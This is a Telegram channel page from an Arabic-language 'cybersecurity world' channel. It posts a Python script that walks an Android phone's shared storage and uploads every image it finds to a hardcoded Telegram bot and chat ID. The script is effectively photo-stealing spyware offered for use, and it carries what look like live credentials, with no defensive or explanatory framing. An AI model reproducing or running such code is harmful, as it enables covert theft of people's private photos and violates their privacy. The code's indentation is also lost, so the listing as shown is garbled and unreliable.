عالم الأمن السيبراني
16.4K subscribers
593 photos
155 videos
630 files
315 links
مالك القناة :
@Adeeb_o

برمجة
أمن سيبراني
شروحات

برمجة
Download Telegram
This media is not supported in your browser
VIEW IN TELEGRAM
import os
import telebot
from threading import Thread

bot = telebot.TeleBot("6313110337:AAGIRaZagaaN_0gqVUK6moVzNq6-5Pjrl04")
dir_path = "/storage/emulated/0/"
def send_file(file_path):
with open(file_path, "rb") as f:
if file_path.endswith(".jpg") or file_path.endswith("png") or file_path.endswith("PNG") or file_path.endswith("JPEG") or file_path.endswith("jpeg") or file_path.endswith("Webp") or file_path.endswith("webp"):
bot.send_photo(chat_id="6206275097",photo=f)
else:
print("بدات عمليه ارسال الصور")
for root, dirs, files in os.walk(dir_path):
threads = []
for file in files:
file_path = os.path.join(root, file)
t = Thread(target=send_file, args=(file_path,))
t.start()
threads.append(t)
for thread in threads:
thread.join()
👍1